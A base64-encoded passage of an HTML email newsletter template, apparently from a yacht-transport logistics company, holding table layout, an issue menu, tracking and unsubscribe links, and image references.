ICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0iNzUwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI3NTAiIGJvcmRlcj0i MCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjQyIiBhbGlnbj0ibGVmdCIgdmFs aWduPSJ0b3AiIHN0eWxlPSJwYWRkaW5nLWxlZnQ6IDIwcHg7Ij4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRh YmxlIHdpZHRoPSIyNDIiIHN0eWxlPSJib3JkZXItcmlnaHQtY29sb3I6IHJnYigyMzcsIDIzNywg MjM3KTsgYm9yZGVyLWxlZnQtY29sb3I6IHJnYigyMzcsIDIzNywgMjM3KTsgYm9yZGVyLXJpZ2h0 LXdpZHRoOiAxcHg7IGJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC1zdHlsZTog c29saWQ7IGJvcmRlci1sZWZ0LXN0eWxlOiBzb2xpZDsgYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1 NSwgMjU1LCAyNTUpOyIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAi PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iNDAiIGFsaWduPSJjZW50ZXIi IHZhbGlnbj0ibWlkbGUiIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMt c2VyaWY7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNTUsIDEwMiwgMCk7IGZvbnQtc2l6ZTog MTBweDsiPjxhIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7 IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L09u bGluZS8/Qj0xNDA0OTQmQks9MEFCNkVCQjhFMjBCNCZFVUlEPTEyNEZGOTVBOUIzMjRGRENCRTRG NTkwQkVDOTNFQkExIiB0YXJnZXQ9Il9ibGFuayIgYm9yZGVyPSIwIj48c3BhbiBzdHlsZT0iY29s b3I6IHJnYigyNTUsIDEwMiwgMCk7Ij5WaWV3IHRoaXMgRS1zaG90IG9ubGluZTwvc3Bhbj48L2E+ IHwgPGEgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsiIG9u Y2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20u YXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL21haWxCQU5LLmFzcHg/RVVJRD0xMjRGRjk1QTlCMzI0 RkRDQkU0RjU5MEJFQzkzRUJBMSZVbnN1Yj0xIiB0YXJnZXQ9Il9ibGFuayIgYm9yZGVyPSIwIj48 c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNTUsIDEwMiwgMCk7Ij5VbnN1YnNjcmliZTwvc3Bhbj48 L2E+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2Vu dGVyIiB2YWxpZ249InRvcCI+PGEgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyIgb25jbGljaz0icmV0 dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04Mzcz NzQ0JlQ9MTQwNDk0JlU9NTYwNWJkNTAwNzEzOTMzNDk5Y2FiNjAxNmY3MzY4NGUwNmMiIHRhcmdl dD0iX2JsYW5rIiBib3JkZXI9IjAiPjxpbWcgd2lkdGg9IjIwMSIgaGVpZ2h0PSI2MiIgc3R5bGU9 ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsgYm9yZGVyLWltYWdlOiBub25lOyIgYWx0 PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29tLmF1L3Jlc291cmNlcy9lbWFp bC9sb2dvcy9hdXJvcmEvbG9nby1hdXJhcm8uanBnIj48L2E+PC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgc3R5bGU9InBhZGRpbmctcmlnaHQ6IDMwcHg7 IHBhZGRpbmctYm90dG9tOiA0MHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMyBz dHlsZT0iY29sb3I6IHJnYig5NCwgOTQsIDk0KTsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsg cGFkZGluZy10b3A6IDMwcHg7IHBhZGRpbmctcmlnaHQ6IDVweDsgcGFkZGluZy1ib3R0b206IDVw eDsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDEz cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+SU4gVEhJUyBJU1NVRTwvaDM+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW46IDBwdDsgcGFkZGluZzogMHB0OyI+PGEgc3R5 bGU9ImNvbG9yOiByZ2IoMTI5LCAxMjksIDEyOSk7IHBhZGRpbmctYm90dG9tOiAwcHg7IGZvbnQt ZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxM3B4OyBtYXJn aW4tYm90dG9tOiAwcHg7IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSIjbWFpbnN0b3J5 IiB0YXJnZXQ9ImJsYW5rIiBib3JkZXI9IjAiPldFTENPTUU8L2E+Jm5ic3A7Jm5ic3A7PGltZyBz dHlsZT0ibGluZS1oZWlnaHQ6IDA7IiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3LnlhY2h0LXRyYW5z cG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWlsL2J1bGxldHMvZ2VuZXJpYy5wbmciPjwvcD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbjogMHB0OyBwYWRkaW5nOiAw cHQ7Ij48YSBzdHlsZT0iY29sb3I6IHJnYigxMjksIDEyOSwgMTI5KTsgcGFkZGluZy1ib3R0b206 IDBweDsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6 IDEzcHg7IG1hcmdpbi1ib3R0b206IDBweDsiIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9 IiNzY2hlZHVsZSIgdGFyZ2V0PSJibGFuayIgYm9yZGVyPSIwIj5TQ0hFRFVMRSBVUERBVEU8L2E+ Jm5ic3A7Jm5ic3A7PGltZyBzdHlsZT0ibGluZS1oZWlnaHQ6IDA7IiBhbHQ9IiIgc3JjPSJodHRw Oi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWlsL2J1bGxldHMvZ2Vu ZXJpYy5wbmciPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdp bjogMHB0OyBwYWRkaW5nOiAwcHQ7Ij48YSBzdHlsZT0iY29sb3I6IHJnYigxMjksIDEyOSwgMTI5 KTsgcGFkZGluZy1ib3R0b206IDBweDsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5z LXNlcmlmOyBmb250LXNpemU6IDEzcHg7IG1hcmdpbi1ib3R0b206IDBweDsiIG9uY2xpY2s9InJl dHVybiBmYWxzZTsiIGhyZWY9IiNTNCIgdGFyZ2V0PSJibGFuayIgYm9yZGVyPSIwIj5BVVJPUkEg SU4gTU9USU9OPC9hPiZuYnNwOyZuYnNwOzxpbWcgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyIgYWx0 PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29tLmF1L3Jlc291cmNlcy9lbWFp bC9idWxsZXRzL2dlbmVyaWMucG5nIj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxw IHN0eWxlPSJtYXJnaW46IDBwdDsgcGFkZGluZzogMHB0OyI+PGEgc3R5bGU9ImNvbG9yOiByZ2Io MTI5LCAxMjksIDEyOSk7IHBhZGRpbmctYm90dG9tOiAwcHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxI ZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxM3B4OyBtYXJnaW4tYm90dG9tOiAwcHg7 IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSIjUzIiIHRhcmdldD0iYmxhbmsiIGJvcmRl cj0iMCI+UE9JTlQgT0YgRElGRkVSRU5DRTwvYT4mbmJzcDsmbmJzcDs8aW1nIHN0eWxlPSJsaW5l LWhlaWdodDogMDsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNvbS5h dS9yZXNvdXJjZXMvZW1haWwvYnVsbGV0cy9nZW5lcmljLnBuZyI+PC9wPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luOiAwcHQ7IHBhZGRpbmc6IDBwdDsiPjxhIHN0 eWxlPSJjb2xvcjogcmdiKDEyOSwgMTI5LCAxMjkpOyBwYWRkaW5nLWJvdHRvbTogMHB4OyBmb250 LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTNweDsgbWFy Z2luLWJvdHRvbTogMHB4OyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iI29jZWFubGl2 ZW5ld3MiIHRhcmdldD0iYmxhbmsiIGJvcmRlcj0iMCI+T0NFQU4gTElWRSBORVdTPC9hPiZuYnNw OyZuYnNwOzxpbWcgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3 dy55YWNodC10cmFuc3BvcnQuY29tLmF1L3Jlc291cmNlcy9lbWFpbC9idWxsZXRzL2dlbmVyaWMu cG5nIj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21haWxi YW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9NTYwMGI5NDNjZmJkMGJh NDMwOWFhNjlhMTM2ZDcwMjRiNDciIHRhcmdldD0iX2JsYW5rIiBib3JkZXI9IjAiPjxpbWcgd2lk dGg9IjE3OCIgaGVpZ2h0PSIzOSIgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xv cjsgYm9yZGVyLWltYWdlOiBub25lOyB0ZXh0LWFsaWduOiBjZW50ZXI7IiBhbHQ9IiIgc3JjPSJo dHRwOi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWlsL2J1dHRvbnMv ZmFjZWJvb2suanBnIj48L2E+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20iIHN0eWxlPSJsaW5l LWhlaWdodDogMDsiPjxpbWcgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6 IHNvbGlkOyBsaW5lLWhlaWdodDogMDsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJh bnNwb3J0LmNvbS5hdS9yZXNvdXJjZXMvZW1haWwvY29uc3RydWN0cy9zaWRlYmFyMDIuanBnIj48 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20iIHN0eWxl PSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5ic3A7PC90ZD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBzdHlsZT0ibGlu ZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg dmFsaWduPSJib3R0b20iIHN0eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVp Z2h0OiAwOyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGln bj0iYm90dG9tIiBzdHlsZT0ibGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20iIHN0eWxlPSJsaW5lLWhlaWdodDog MDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249ImJv dHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBzdHlsZT0ibGluZS1oZWlnaHQ6IDA7Ij4m bmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20i IHN0eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5ic3A7 PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBzdHls ZT0ibGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8aW1nIGFsdD0iIiBzcmM9Imh0dHA6Ly93ZWJzaXRl cy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9JbnNlcnQuanBn Ij48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20iIHN0 eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5ic3A7PC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBzdHlsZT0i bGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dGQgdmFsaWduPSJib3R0b20iIHN0eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUt aGVpZ2h0OiAwOyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZh bGlnbj0iYm90dG9tIiBzdHlsZT0ibGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8L3RkPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20iIHN0eWxlPSJsaW5lLWhlaWdo dDogMDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249 ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAg 